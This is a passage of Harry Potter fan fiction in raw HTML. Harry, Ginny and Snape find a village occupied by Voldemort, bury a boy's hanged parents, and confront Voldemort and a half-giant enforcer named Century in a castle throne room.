Mop-head!&nbsp;\nKnobby-knees!&nbsp; Speak up!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry groaned and mentally reminded himself that this was\nthe girl who used to blush so badly around him that she became tongue-tied and\nknocked things over whenever he so much as smiled at her.&nbsp; Obviously, she had changed.&nbsp; <i>&#8216;Bloody Hell, she really has been hanging\naround Malfoy,&#8217;</i> he thought.&nbsp; He\nturned around and said, &#8220;What, you&#8217;re not going to call me &#8216;eyes as green as a\npickled toad&#8217;?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That caused Ginny to blush a little.&nbsp; &#8220;Oh please Harry, that&#8217;s ancient\nhistory.&nbsp; Besides my feelings for you\nare long gone.&nbsp; For me it&#8217;s all about\nDraco now.&#8221;&nbsp; She said the last sentence\ndreamily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry chuckled.&nbsp; &#8220;If\nyou say so,&#8221; he said.&nbsp; &#8220;Sorry about\nignoring you earlier, I was just lost in thought.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thinking about Hermione?&#8221; Ginny said playfully.&nbsp; When Harry didn&#8217;t answer, Ginny suddenly\ncaught on.&nbsp; &#8220;Wait a minute, you were\nthinking about Hermione, weren&#8217;t you?&nbsp;\nAll right, what&#8217;s going on?&nbsp; Does\nHermione even know that you&#8217;re heading toward London?&nbsp; Does Ron?&nbsp; You know, maybe\nI should send them and owl and tell them where you are&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ginny, if you would kindly not pry into my private life, I\nwon&#8217;t pry into yours,&#8221; said Harry a little heatedly.&nbsp; &#8220;After, if you&#8217;ve been hanging around Draco Malfoy these past two\nyears, I&#8217;d hardly believe you&#8217;d have a clean slate.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny blushed very red and said, &#8220;Fair enough.&#8221;&nbsp; An awkward silence descended upon them for a\nmoment while the two continued on.&nbsp;\nFinally Ginny broke the ice and said, &#8220;Harry, would you like a pastry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny grinned.&nbsp; &#8220;I&#8217;m\noffering you one of my pumpkin pastries.&nbsp;\nYou haven&#8217;t eaten anything for a while and I just thought you were\nhungry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled and took the pastry. &#8220;Thanks,&#8221; he said.&nbsp; &#8220;But any chance you didn&#8217;t poison this, did\nyou?&#8221;&nbsp; That earned him a small punch on\nthe back of the head.&nbsp; &#8220;Anyway, to\nanswer your earlier question, I&#8217;m not using any transportation to London\nbecause I don&#8217;t want the Ministry knowing where I am.&nbsp; Voldemort has many spies in the high places and quite frankly I\ndon&#8217;t trust any&#8230;did you hear that?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hear what?&#8221; asked Ginny.&nbsp;\nShe strained her ears and heard someone groan a short distance\naway.&nbsp; Harry and Ginny hurriedly made\ntheir way toward the groans.&nbsp; As soon as\nthey arrived, Ginny gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Leaning against a large oak tree was a bloody young man\nwearing the blue robes of a Ministry of Magic Hit Wizard.&nbsp; He was wheezing, his breath coming out in\nshort painful gasps and in his bosom, he was clutching an unconscious young\nboy, no older than twelve.&nbsp; With a cry,\nGinny knelt down in front of the man and checked his wounds.&nbsp; After a few seconds of examining, she turned\ntoward Harry and shook her head, a look of sorrow on her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What happened to him?&#8221; Harry whispered, willing himself not\nto get chocked up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He&#8217;s been beaten up horribly,&#8221; said Ginny.&nbsp; &#8220;But he&#8217;s also been hit by the,&#8221; she gulped\nand said, &#8220;the Cruciatus Curse.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; exclaimed Harry.&nbsp;\n&#8220;Are you sure?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;They taught us some medical magic at Beauxbatons,&#8221; said\nGinny.&nbsp; &#8220;I can&#8217;t recognize all the\neffects of various curses by heart but I&#8217;d recognized any of the unforgivables\nwith just a quick examination.&#8221;&nbsp; At that\nmoment, the man regained consciousness, though barely.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Help...me...&#8221; he wheezed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shh, you shouldn&#8217;t talk,&#8221; said Ginny.&nbsp; However, the man clearly had no intention of\nstopping.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;H-help...me...You-Know-Who, took over my\nvillage...G-Graypine.&nbsp; Came...t-to...get\nfamily...family out.&nbsp; Parents still down\nthere...barely got...b-brother...Sean...out.&nbsp;\nHelp...help family...please.&#8221;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny looked ready to cry.&nbsp;\nHarry however, knelt down in front of the man and said.&nbsp; &#8220;I swear to you, that I&#8217;ll get your parents\nout of the village and get your brother to safety.&nbsp; That&#8217;s a promise.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank...you,&#8221; said the young man with a small smile.&nbsp; With those last words, the young hit wizard\ndrew in a breath and passed away.&nbsp; About\na minute later, his little brother started to stir.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Zack?&#8221; he whispered.&nbsp;\nWhen he noticed how still his older brother was, the boy sprang up and\nwhispered frantically, &#8220;Zack?&#8221;&nbsp; He\nchecked for his brother&#8217;s pulse.&nbsp; When\nhe felt none the boy screamed out loud.&nbsp;\nNot a scream of terror or grief but a scream of rage and anger.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">About two hours later, after the Hit Wizard had been buried\nin a make shift grave, the young boy, Sean Collins led Harry and Ginny to a\nsmall hill overlooking the village Graypine.&nbsp;\nPerhaps the word &#8220;hamlet&#8221; would have better described the village.&nbsp; It was a small collection of about twenty\nhouses, a few sheep pastures surrounding those houses, and had a population of\nabout 40 muggles and around 5 wizards and witches.&nbsp; Nearby was a midsize castle, apparently constructed during the\nDark Ages.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s Graypine,&#8221; said Sean.&nbsp; &#8220;That castle over there is where Century lives.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Century?&#8221; asked Ginny.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah Century,&#8221; said Sean.&nbsp;\n&#8220;He&#8217;s the big guy You-Know-Who appointed to run this village.&nbsp; Calls himself &#8216;Gov&#8217;ner&#8217;, horrible\nbloke.&nbsp; My Mum and Dad should be in the\ndungeons of that castle.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well then, what are we waiting for?&#8221; said Ginny.&nbsp; &#8220;Lets just charge into that castle, beat up\nthis &#8216;Century&#8217; fellow, and get your folks out of there.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No wait,&#8221; said Harry.&nbsp;\n&#8220;Someone&#8217;s coming.&#8221;&nbsp; Ginny shoved\nSean behind her and became alert.&nbsp; Harry\nfingered his wand ready to hex whomever it was coming up from behind them.&nbsp; However, the oily voice they heard was\nunmistakable.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Potter!&nbsp; What are\nyou doing here?&nbsp; Weren&#8217;t you heading\ntoward London?&#8221; cried the eerily familiar voice.&nbsp; The owner of the voice soon stepped out of the bushes right in\nfront of Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Professor Snape?&#8221; said Harry, clearly surprised.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s Auror Snape now, though I doubt you&#8217;d care,&#8221; said\nSnape.&nbsp; &#8220;Potter, why aren&#8217;t heading\ntoward London?&nbsp; What are you doing here\nwith this,&#8221; he eyed Ginny and said, &#8220;this weasel?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Weasel?&#8221; Ginny shouted, clearly insulted.&nbsp; &#8220;No one calls me that!&nbsp; Not even a former professor of mine!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Snape finally seemed to have recognized Ginny.&nbsp; &#8220;Ah, Miss Weasley, back from France I\nsee.&#8221;&nbsp; He turned once again toward Harry\nand said, &#8220;I repeat, what are you doing here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m here to get Sean&#8217;s,&#8221; Harry gestured toward an\napprehensive Sean, &#8220;family out of the village.&nbsp;\nWhat are you doing here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Snape studied Sean and said, &#8220;Your brother&#8217;s Zachary\nCollins, the Hit Wizard isn&#8217;t he?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s right,&#8221; said Sean.&nbsp;\n&#8220;But he&#8217;s dead.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So I&#8217;ve heard,&#8221; said Snape.&nbsp; &#8220;He&#8217;s the reason why I&#8217;m here.&nbsp;\nApparently, he defied orders to go pull his family out of one of the\nvillages occupied by the Dark Lord.&nbsp; I\nwas sent to call him back, though, I seem to have arrived too late.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wait a minute, &#8216;one of&#8217;?&#8221; said Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There have been at least thirty villages and hamlets\noccupied by the Dark Lord in Europe,&#8221; said Snape.&nbsp; &#8220;Fourteen of them are in England, all in highly strategic\nlocations in the event of a magical war.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And the Ministries just leave them alone?&#8221; exclaimed Ginny,\nvoicing Harry&#8217;s thoughts.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;An aversion of chaos,&#8221; said Snape.&nbsp; &#8220;If the Ministries tried to liberate these\nvillages, that would essentially be the same as acknowledging that the Dark\nLord truly has returned.&nbsp; Therefore, to\nprevent widespread panic in the major urban areas, they consider these tiny\nvillages to be lost causes.&nbsp; There\nexcuse is that the needs of the many, out way the needs of the few.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s crap!&#8221; shouted Ginny.&nbsp; Apparently, she had also picked up a colorful language from Draco.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s life,&#8221; said Snape.&nbsp;\n&#8220;I&#8217;m not in power to change the Ministries&#8217; policies.&nbsp; I just follow orders.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I don&#8217;t,&#8221; said Sean.&nbsp;\n&#8220;I&#8217;m getting my family out of there and no one&#8217;s going to stop me!&#8221;&nbsp; With that, he ran toward the village.&nbsp; Harry, Ginny, and a reluctant Snape followed\nhim.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The village seemed to be empty.&nbsp; However, a quick look around indicated that all of the villagers\nhad in fact congregated around the town center.&nbsp; As soon as they arrived there, it became evident why.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">In the middle of the town center stood a high gallows.&nbsp; It was about 20 feet high and had a few\nnooses with skeletons hanging from the neck.&nbsp;\nHowever, two of the nooses had fresh corpses hanging from them, an old\nman and old woman.&nbsp; As soon as Sean saw\nthem, his eyes widened in shock and horror.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No!&#8221; he exclaimed.&nbsp;\n&#8220;NO!&nbsp; Mum!&nbsp; Dad!&nbsp;\nNOOOOO!!!&#8221;&nbsp; He tried to make a\nrun for the gallows but some of the villagers held him back.&nbsp; &#8220;Mum!&nbsp;\nDad!&nbsp; Cut them down!&nbsp; They might be alive!&nbsp; They might...&#8221; Losing his cool, Sean dissolved\nin tears and sank to the ground.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why aren&#8217;t you cutting them down?!&#8217; Ginny yelled at the\nvillagers.&nbsp; &#8220;Those are your friends up\nthere!&nbsp; You can&#8217;t just leave them\nhanging!&nbsp; Cut them down!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We dare not,&#8221; said one of the villagers in a scratchy voice.&nbsp; &#8220;Century will punish us if we do.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; said Ginny.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If we cut down the bodies, Century will string us up right\nnext to them,&#8221; croaked another villager.&nbsp;\n&#8220;We dare not defy his orders.&nbsp;\nAll who do so, will be strung up like those two.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny was utterly speechless.&nbsp; She tried to come up with a retort when Snape said, &#8220;There&#8217;s\nnothing you can do.&nbsp; Just look at their\neyes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny starred into the eyes of the various villagers.&nbsp; Ginny Weasley had seen many frightening\nthings in her life, especially during her first year at Hogwarts concerning the\nChamber of Secrets, but what she saw in the eyes of the villagers horrified her\nmore than anything else.&nbsp; She saw a\ncold, lifeless look.&nbsp; There was nothing\nalive in the eyes of these people: they were all dead.&nbsp; Their spirits had long been crushed and\ntheir bodies were simply acting like a computer programmed to do anything to\nsurvive.&nbsp; It was as if, their humanity\nhad been torn away from them amidst all their suffering from the hands of this\nCentury.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This is the Dark Lord&#8217;s future for the world,&#8221; said\nSnape.&nbsp; &#8220;A world where even the right to\nlive is denied from you.&nbsp; A world where\nyou descend to the very brink of savagery just to survive.&nbsp; If you stand up against, the Dark Lord, it\ndoesn&#8217;t matter whether you&#8217;re magical or muggle, you will suffer.&nbsp; And ultimately you will lose your life.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny didn&#8217;t know what to say or do.&nbsp; Harry however walked up to the gallows\npulled out his wand.&nbsp; Before anybody\ncould react, he said, <i>&#8220;Diffendo!&#8221;</i> and cut the bodies of Sean&#8217;s parents\ndown.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The villagers were horrified to say the least.&nbsp; &#8220;What are you doing, you fool?!&#8221; one of them\ndemanded.&nbsp; &#8220;Now we will feel Century&#8217;s\nwrath!&nbsp;&nbsp; You foolish outsider!&nbsp; You&#8217;ve doomed us all!&#8221;&nbsp; The villagers started to become a mob intent\non lynching Harry right then and there.&nbsp;\nHowever, a glare from Harry&#8217;s blazing green eyes instantly quelled the\nmob, and they cowered back in fear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I made a promise to Sean&#8217;s brother, that I&#8217;d get his family\nout of Graypine,&#8221; said Harry.&nbsp; &#8220;And one\nway or another, I intend to keep my promise.&#8221;&nbsp;\nHe levitated the bodies over to Ginny and said, &#8220;Ginny, could you bury\nthem right next to their son&#8217;s grave?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh, OK,&#8221; said Ginny.&nbsp;\n&#8220;But what are you going to do?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m going to pay this Century a visit.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Inside the castle, Seth Soran made his way toward the inner\ncourtyard.&nbsp; &#8220;Mr. Voldemort, there&#8217;s some\nnews from the village,&#8221; he said as soon as he was outside of the door to the\ncourtyard.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Seth, you know I don&#8217;t like being disturbed while I&#8217;m in\nthe hot springs,&#8221; called the voice of the Dark Lord from the courtyard.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My apologies, Mr. Voldemort,&#8221; said Seth.&nbsp; &#8220;But apparently Harry Potter and Severus\nSnape have arrived in Graypine and are heading toward this castle now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh?&#8221; said Voldemort.&nbsp;\n&#8220;Well then, why don&#8217;t you show are guests in?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes sir.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As Harry and Snape arrived at the castle, the drawbridge\nstarted to lower.&nbsp; With a clang, it\nopened a pathway over the moat.&nbsp;\nStanding in the entrance, was Seth Soran.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good Evening Mr. Potter, Mr. Snape,&#8221; said Seth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry instantly recognized Seth&#8217;s voice.&nbsp; &#8220;Be careful,&#8221; he whispered.&nbsp; &#8220;That&#8217;s the guy who killed Fudge.&#8221;&nbsp; Snape&#8217;s only reply was a snort.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now, now, let&#8217;s not have any hostilities for now,&#8221; said\nSeth.&nbsp; &#8220;Mr. Voldemort simply asked me to\nbe your guide in the castle.&nbsp; My name is\nSeth Soran by the way.&nbsp; Please follow\nme.&#8221;&nbsp; Snape followed after Seth into the\ncastle without question.&nbsp; With a shrug,\nHarry followed as well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Seth led the two wizards through the darkened corridors of\nthe castle.&nbsp; Death Eaters patrolled the\ncorridors but they all simply ignored Harry and Snape.&nbsp; Finally, Seth led Harry and Snape into the\ncastle&#8217;s throne room.&nbsp; It was a high\nchamber, with gothic style walls and arches.&nbsp;\nWindows all over the wall let light into the room and there were also a\nnumber of torches illuminating the walls.&nbsp;\nThe walls were bare but a single scarlet carpet was on the floor,\nleading to a high throne at the very end of the chamber.&nbsp; Standing next to the throne was a voluptuous\nwoman in scarlet dress robes, her long dark hair tied up in a bun.&nbsp; And seated on the throne was...</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Voldemort,&#8221; whispered Harry, barring his teeth.&nbsp; Although Harry had long developed special\nspells to nullify the pain in his scar, it still tingled a little now that he\nwas in the presence of the Dark Lord once again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Voldemort grinned.&nbsp;\nHe had changed a great deal since he was resurrected in the graveyard\nfollowing the Triwizard Tournament three years previous.&nbsp; Namely he now had shoulder length, shaggy\nblack hair, and his nose was now more human like though he still had slit-like\nnostrils.&nbsp; If anything, he looked more\nhuman, more like Tom Riddle.&nbsp; However,\nhis skin was still bone white and his eyes were still the frightening scarlet\ncolor Harry often saw in his nightmares. &nbsp;&#8220;Why Harry, it&#8217;s been a while hasn&#8217;t it?&nbsp; And Severus, so the prodigal son returns.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I have not, returned to you,&#8221; said the former Death Eater,\nwith strong conviction.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So it seems,&#8221; said Voldemort, glancing at Snape&#8217;s auror\nuniform.&nbsp; He turned to Harry and\nsmiled.&nbsp; &#8220;So Potter, what can I do for\nyou?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;First of all, you can tell me, why this village?&#8221; said\nHarry icily.&nbsp; &#8220;Why take this\nvillage?&nbsp; What use will it be in the war\nyou plan to bring upon us?&nbsp; Why did you\ntake this village?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hot springs,&#8221; said Voldemort, rather plainly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; said Harry, getting angrier by the second.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This village has hot springs in the castle.&nbsp; Very rare in England.&nbsp; To be honest, I&#8217;m not entirely sure if\nthey&#8217;re natural.&nbsp; But they really help\nrest my bones after a hard day&#8217;s work,&#8221; said Voldemort.&nbsp; He grinned maliciously at Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry had never been angrier in his life.&nbsp; He was about to yank out his wand and curse\nVoldemort with as many curses as he knew when the woman started laughing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;See, I told you he would fall for it,&#8221; laughed the woman.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right you were, Yasmine,&#8221; said Voldemort with a\nchuckle.&nbsp; &#8220;On a more serious note, this\nvillage provides me with a high tactical advantage in the event that I plan a\nsimultaneous attack against Edinburgh, Liverpool, Manchester, and possibly\nLondon at the same time.&nbsp; Of course, I\nadmit that the rare hot spring is an added bonus.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You shouldn&#8217;t have fallen for that, you fool,&#8221; Snape hissed\nat Harry.&nbsp; &#8220;That&#8217;s always been a problem\nwith you.&nbsp; You make irrational\nassumptions and jump straight in without considering the consequences.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry ignored Snape.&nbsp;\n&#8220;Well it ends here,&#8221; he said.&nbsp;\n&#8220;I&#8217;m not going to let your reign of terror continue.&nbsp; I&#8217;m liberating this village right now,\nwhether you like it or not.&#8221;&nbsp; He took a\nstep toward the throne when the floor started to rumble.&nbsp; Suddenly, the floor burst forth in an\nexplosion of rock and a huge hulking man, whom was clearly half-giant, pulled\nhimself out of the newly created hole in the floor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He was about twelve feet tall, was completely bald, was\nrippling with muscle, and carried two battle-axes that were like large daggers\nfor his size.&nbsp; &#8220;Eh, now.&nbsp; Can&#8217;t let you do that!&#8221; he growled, a\nsinister grin on his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah, Mr. Century, how nice of you to grace us with your\npresence,&#8221; said Seth, his characteristic smile on his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re Century?&#8221; asked Harry coolly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, that&#8217;s right,&#8221; said Century.&nbsp; &#8220;And I&#8217;m gonna pound you to pieces.&nbsp; I run this joint, and I&#8217;m not letting any\nscurvy, four-eyed wizard take it from me!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Meanwhile outside, Ginny and Sean had just finished burying\nSean&#8217;s parents in graves right next to his brother&#8217;s.&nbsp; &#8220;Well, I&#8217;m sure they&#8217;ll finally find some peace,&#8221; said Ginny,\ntrying to be supportive.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sean said nothing.&nbsp;\nInstead, a look of pure rage crossed his face as he picked up his\nbrother&#8217;s wand.&nbsp; Silently he started\nrunning toward the castle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny took off after him.&nbsp;\n&#8220;Whoa!&nbsp; Wait!&nbsp; Hold!&nbsp;\nStop!&nbsp; Where do you think you&#8217;re\ngoing?&nbsp; And with your brother&#8217;s wand?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m going to kill Century!&#8221; hissed Sean in a tone that made\nGinny flinch.&nbsp; It was a tone of pure\nanger and vengeance.&nbsp; A tone that Ginny\nwas very uncomfortable with to say the least.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now, now, now hold it.&nbsp;\nHarry and...&#8216;Mr. Greased haired auror&#8217; have just gone to the\ncastle.&nbsp; Just leave it to them; they&#8217;ll\ncapture this Century.&nbsp; And give him a\ngood thrashing as well.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t want him captured,&#8221; said Sean in a voice of pure\nvenom.&nbsp; &#8220;I want to kill him.&nbsp; I want to make him suffer like my family\nsuffered!&nbsp; Now get out of the way, this\nis no job for a girl like you!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That made Ginny angry.&nbsp;\n&#8220;Now hold on a minute!&#8221; she yelled, causing Sean to jump back in\nsurprise.&nbsp; &#8220;I&#8217;ve had lots of training in\nthis sort of stuff while I was in France.&nbsp;\nIf you just go waltzing up there, you&#8217;ll be captured, killed, mutilated,\nburned, hacked, and be subjugated to a whole lot of other things I could name\nif I thought about it!&nbsp; You need me, if\nyou&#8217;re going to this Century fellow!&nbsp; Now\nfollow me!&#8221;&nbsp; With that, an irrationally\nangry Ginny grabbed a startled Sean&#8217;s hand and dragged him toward the castle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The sounds of crashing and pounding resided through the\nthrone room.&nbsp; Harry was using the\nreflexes he had acquired from years of quidditch, dodging the large axes\nCentury kept raining down on him.&nbsp; The\ntwo were moving around the room at very high speeds, Harry dodging each of the\naxe blows and Century chasing after him, smashing the axes into the ground\nharder and harder.&nbsp; He was clearly\nstarting to grow frustrated of missing Harry all the time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Curious,&#8221; said Seth.&nbsp;\n&#8220;Why isn&#8217;t Mr. Potter using any magic?&nbsp;\nIf I were in Mr. Potter&#8217;s place, I would&#8217;ve shot Mr. Century with the\nfirst curse I thought up of.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The answer to that is quite simple,&#8221; said Snape.&nbsp; &#8220;Take a look at your master.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Seth did just that.&nbsp;\nIndeed, he observed that Voldemort looked a little different now.&nbsp; Whereas when Harry and Snape had first\nentered, Voldemort had spent a good deal of the time grinning and laughing\nmenacingly at his opponents, the Dark Lord now had a look of utter seriousness\nand complete concentration on his face.&nbsp;\nHis scarlet eyes were clearly placed on Harry as he darted around the\nroom.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A study of observance,&#8221; said 